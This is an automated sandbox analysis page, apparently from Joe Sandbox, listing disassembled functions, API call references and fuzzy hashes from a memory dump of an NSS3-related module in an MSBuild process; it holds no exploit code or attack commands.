Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 0db1f8bdf06dedf32639492a809db02d3935a6a421f771fe7316b3a4e9ddab5a
Instruction ID: 93b70b0d98e8c46493dab5d561d93694d917c68f6a2940550d9da4e750889205
Opcode Fuzzy Hash: 0db1f8bdf06dedf32639492a809db02d3935a6a421f771fe7316b3a4e9ddab5a
Instruction Fuzzy Hash: 0741E275B002059BEF00EF65D882AAB7BB4EF45388F144124ED1897711FB32D955CBE2

Function 6CBEEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBEEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CBEEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CBEEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBEEEEB
free.MOZGLUE(?), ref: 6CBEEEF6

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 090fc5447ff770e989aa86fed803b1edca70085c5071317507d09b39855ef724
Instruction ID: 246a35e3ddc891768c7fe4a83268a9d0818fed2f490188dd4dd83e433e182856
Opcode Fuzzy Hash: 090fc5447ff770e989aa86fed803b1edca70085c5071317507d09b39855ef724
Instruction Fuzzy Hash: 91313C716006C09BE7209F2CCC4576A7BF8FB4DB89F540529EA5A87B50E731E418CBD2

Function 6CBFAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CBF3FFF,00000000,?,?,?,?,?,6CBF1A1C,00000000,00000000), ref: 6CBFADA7

Part of subcall function 6CC514C0: TlsGetValue.KERNEL32 ref: 6CC514E0
Part of subcall function 6CC514C0: EnterCriticalSection.KERNEL32 ref: 6CC514F5
Part of subcall function 6CC514C0: PR_Unlock.NSS3 ref: 6CC5150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CBF3FFF,00000000,?,?,?,?,?,6CBF1A1C,00000000,00000000), ref: 6CBFADB4

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CBF3FFF,?,?,?,?,6CBF3FFF,00000000,?,?,?,?,?,6CBF1A1C,00000000), ref: 6CBFADD5

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CD194B0,?,?,?,?,?,?,?,?,6CBF3FFF,00000000,?), ref: 6CBFADEC

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF3FFF), ref: 6CBFAE3C

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 5181dd9b521e597a8d566e65e89d77d37f5433e928a77bb94b75afef60231347
Instruction ID: f61ac1a2349e7f748444e4bca8151b8009a3d248cccbabef08506c560079e50f
Opcode Fuzzy Hash: 5181dd9b521e597a8d566e65e89d77d37f5433e928a77bb94b75afef60231347
Instruction Fuzzy Hash: B3113B71E002445BF7109F699C41BBF73A8DF9114DF548128EC2996B41F720F95E86E3

Function 6CC18E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CC32E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C), ref: 6CC18EA2

Part of subcall function 6CC3F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC3F854
Part of subcall function 6CC3F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC3F868
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC3F882
Part of subcall function 6CC3F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC3F889
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC3F8A4
Part of subcall function 6CC3F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC3F8AB
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC3F8C9
Part of subcall function 6CC3F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC3F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CC32E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C), ref: 6CC18EC3
TlsGetValue.KERNEL32(?,?,?,6CC32E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C), ref: 6CC18EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CC32E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC18EF1
PR_Unlock.NSS3 ref: 6CC18F20

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: b4f7cc7e76a94c4f945d191df3c600a0cf947dd8330b2e39ff5d862846df4834
Instruction ID: 8f8d8dc2c97760a3134aa35a4217fa7d9c90a385ea295dc3bdf1bfa1a7329d06
Opcode Fuzzy Hash: b4f7cc7e76a94c4f945d191df3c600a0cf947dd8330b2e39ff5d862846df4834
Instruction Fuzzy Hash: D9217C7490D6059FDB00AF2AD084599BBF4FF48318F42456EED989BB41E730E854DBD2

Function 6CC48800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48821
TlsGetValue.KERNEL32(?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC4883D
EnterCriticalSection.KERNEL32(?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CC48887
PR_Unlock.NSS3(?,?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48899

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 8844f587af62ccb73c1f4611c8bb52a2ecc7d9e549f8431d4c48cf385d8e2990
Instruction ID: ff09a73052310f5f030b661e810f83b8b1b192ef2c608a3b7bd56db51bd3ba50
Opcode Fuzzy Hash: 8844f587af62ccb73c1f4611c8bb52a2ecc7d9e549f8431d4c48cf385d8e2990
Instruction Fuzzy Hash: 92214CB4A046458FDB00AF79C48456ABBF4FF05348F11C66ADD94D6645FB30D494CBD2

Function 6CC128A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CC080DD), ref: 6CC128BA
EnterCriticalSection.KERNEL32(?,?,?,?,6CC080DD), ref: 6CC128D3
PR_Unlock.NSS3(?,?,?,?,?,6CC080DD), ref: 6CC128E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CC080DD), ref: 6CC1290E
free.MOZGLUE(?,?,?,?,?,?,6CC080DD), ref: 6CC1291A

Part of subcall function 6CC09270: DeleteCriticalSection.KERNEL32(?,?,6CC15089,?,6CC13B70,?,?,?,?,?,6CC15089,6CC0F39B,00000000), ref: 6CC0927F
Part of subcall function 6CC09270: free.MOZGLUE(?,?,6CC13B70,?,?,?,?,?,6CC15089,6CC0F39B,00000000), ref: 6CC09286
Part of subcall function 6CC09270: PL_HashTableDestroy.NSS3(?,6CC13B70,?,?,?,?,?,6CC15089,6CC0F39B,00000000), ref: 6CC09292

Part of subcall function 6CC08B50: TlsGetValue.KERNEL32(00000000,?,6CC10948,00000000), ref: 6CC08B6B
Part of subcall function 6CC08B50: EnterCriticalSection.KERNEL32(?,?,?,6CC10948,00000000), ref: 6CC08B80
Part of subcall function 6CC08B50: PL_FinishArenaPool.NSS3(?,?,?,?,6CC10948,00000000), ref: 6CC08B8F
Part of subcall function 6CC08B50: PR_Unlock.NSS3(?,?,?,?,6CC10948,00000000), ref: 6CC08BA1
Part of subcall function 6CC08B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6CC10948,00000000), ref: 6CC08BAC
Part of subcall function 6CC08B50: free.MOZGLUE(?,?,?,?,?,6CC10948,00000000), ref: 6CC08BB8

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 125ea316f8330df084b1a79b7223dda7be1ba5f46226b1afdc5f1148f9dc5da2
Instruction ID: cbe6a1ddd9e55a2d12b45bc033f8170a71c2ee3a4cbd343429bf8a3dccb3cb95
Opcode Fuzzy Hash: 125ea316f8330df084b1a79b7223dda7be1ba5f46226b1afdc5f1148f9dc5da2
Instruction Fuzzy Hash: 232109B5A08A05DBDB00BF79C088569BBF4FF05358F018969DDD497B00EB34E899CB92

Function 6CBE09E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6CBE06A2,00000000,?), ref: 6CBE09F8
malloc.MOZGLUE(0000001F), ref: 6CBE0A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CBE0A33

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

PR_Free.NSS3(?), ref: 6CBE0A6C
PR_Free.NSS3(?), ref: 6CBE0A87

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: f635063d2cebe1d118ab2f108ebe4fff7fb17272351cc3a40006a83d2bd2e653
Instruction ID: 4bd8f91c2ffdf0747752c0034ecb7d928fe965fcd113de6ecb3d0e0a655351cc
Opcode Fuzzy Hash: f635063d2cebe1d118ab2f108ebe4fff7fb17272351cc3a40006a83d2bd2e653
Instruction Fuzzy Hash: 4C1124B19007C58BF7109F69E98475673B8FF49B88F40692AD94642E00EF30F458D792

Function 6CC08FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CC10710), ref: 6CC08FF1
PR_CallOnce.NSS3(6CD52158,6CC09150,00000000,?,?,?,6CC09138,?,6CC10710), ref: 6CC09029
calloc.MOZGLUE(00000001,00000000,?,?,6CC10710), ref: 6CC0904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CC10710), ref: 6CC09066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CC10710), ref: 6CC09078

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 5714bf55f6b359a775af2d7707dc8c7860eba12d8f73bb7d2784676057028498
Instruction ID: cecad6788bcb1a880123afa1c5925583acd7e7f2ef8cf9d6a3292e862fc3cafe
Opcode Fuzzy Hash: 5714bf55f6b359a775af2d7707dc8c7860eba12d8f73bb7d2784676057028498
Instruction Fuzzy Hash: A111253170011157E7201BA99C44B6A32ACEB867ACF400421FD94C2B81F753CD4A83B1

Function 6CC1CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CC31E10: TlsGetValue.KERNEL32 ref: 6CC31E36
Part of subcall function 6CC31E10: EnterCriticalSection.KERNEL32(?,?,?,6CC0B1EE,2404110F,?,?), ref: 6CC31E4B
Part of subcall function 6CC31E10: PR_Unlock.NSS3 ref: 6CC31E76

free.MOZGLUE(?,6CC1D079,00000000,00000001), ref: 6CC1CDA5
PK11_FreeSymKey.NSS3(?,6CC1D079,00000000,00000001), ref: 6CC1CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CC1D079,00000000,00000001), ref: 6CC1CDCF
DeleteCriticalSection.KERNEL32(?,6CC1D079,00000000,00000001), ref: 6CC1CDE2
free.MOZGLUE(?), ref: 6CC1CDE9

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 4b8c828f9b42f136ab4cdfea1d97f1f0c73469bd05dc08a3457a2b362ebe1437
Instruction ID: 96b8c13a8a21d88dae2c8b9c0d85e8cd80475779bb08d90f8ac976ab77f6326a
Opcode Fuzzy Hash: 4b8c828f9b42f136ab4cdfea1d97f1f0c73469bd05dc08a3457a2b362ebe1437
Instruction Fuzzy Hash: C411A0B2B05111ABEB00BEA6EC85996B72CBF442697104571FA0987E01F732E438D7E1

Function 6CC82CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC85B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC85B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC82CEC

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC82D02
PR_EnterMonitor.NSS3(?), ref: 6CC82D1F
PR_ExitMonitor.NSS3(?), ref: 6CC82D42
PR_ExitMonitor.NSS3(?), ref: 6CC82D5B

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 4f3e3358f192e9d140417810773b2e67c868d1badd04a9acb67e58e29ff9967b
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: B501A5B29012005BE6309F29FC44A87BBB1EB5531CF004566E85996B10F632F815C692

Function 6CC82D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC85B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC85B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC82D9C

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC82DB2
PR_EnterMonitor.NSS3(?), ref: 6CC82DCF
PR_ExitMonitor.NSS3(?), ref: 6CC82DF2
PR_ExitMonitor.NSS3(?), ref: 6CC82E0B

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: f15c56d6d817b2946f4edee812adc760fbd6974c6c9993f92e36016c7ffc5be6
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: D601A1B1A016006BEA309E29FC09BC7BBB1EB5531DF000435E85A96B10F632E825C6A2

Function 6CC1AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CC03090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC1AE42), ref: 6CC030AA
Part of subcall function 6CC03090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC030C7
Part of subcall function 6CC03090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CC030E5
Part of subcall function 6CC03090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC03116
Part of subcall function 6CC03090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC0312B
Part of subcall function 6CC03090: PK11_DestroyObject.NSS3(?,?), ref: 6CC03154
Part of subcall function 6CC03090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC0317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CBF99FF,?,?,?,?,?,?,?,?,?,6CBF2D6B,?), ref: 6CC1AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CBF99FF,?,?,?,?,?,?,?,?,?,6CBF2D6B,?), ref: 6CC1AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CBF2D6B,?,?,00000000), ref: 6CC1AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CBF2D6B,?,?,00000000), ref: 6CC1AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CBF2D6B,?,?), ref: 6CC1AEA3

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

